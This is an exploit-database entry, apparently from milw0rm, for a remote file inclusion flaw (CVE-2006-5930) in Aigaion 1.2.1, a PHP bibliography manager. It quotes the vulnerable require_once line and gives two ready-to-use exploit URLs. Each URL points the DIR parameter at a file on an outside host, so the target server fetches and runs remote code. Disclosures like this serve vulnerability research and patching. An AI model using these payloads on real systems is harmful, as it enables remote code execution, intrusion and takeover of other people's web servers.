title author type platform port cve id

Aigaion 1.2.1 - 'DIR' Remote File Inclusion

Author: navairum
type: webapps
platform: php
port: 0
date_added: 2006-11-13
date_updated: 
verified: 1
codes: OSVDB-30378;CVE-2006-5930;OSVDB-30377
tags: 
aliases: 
screenshot_url: 
application_url: 

Software:Web based bibliography management system
Download link: http://sourceforge.net/projects/aigaion/
script:_basicfunctions.php
author: navairum

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
The script _basicfunctions.php does not specify a value for the $DIR variable before including it.
Vulnerable code:

//if this script is not called from within one of the base pages, redirect to frontpage
require_once($DIR."checkBase.php");

/* This function leads the browser to the given location */

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit:
http://site/[PATH]/_basicfunctions.php?DIR=http://site/uhoh.txt?
http://site/path/pageactionauthor.php?DIR=http://site/uhoh.txt?

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-14]
↑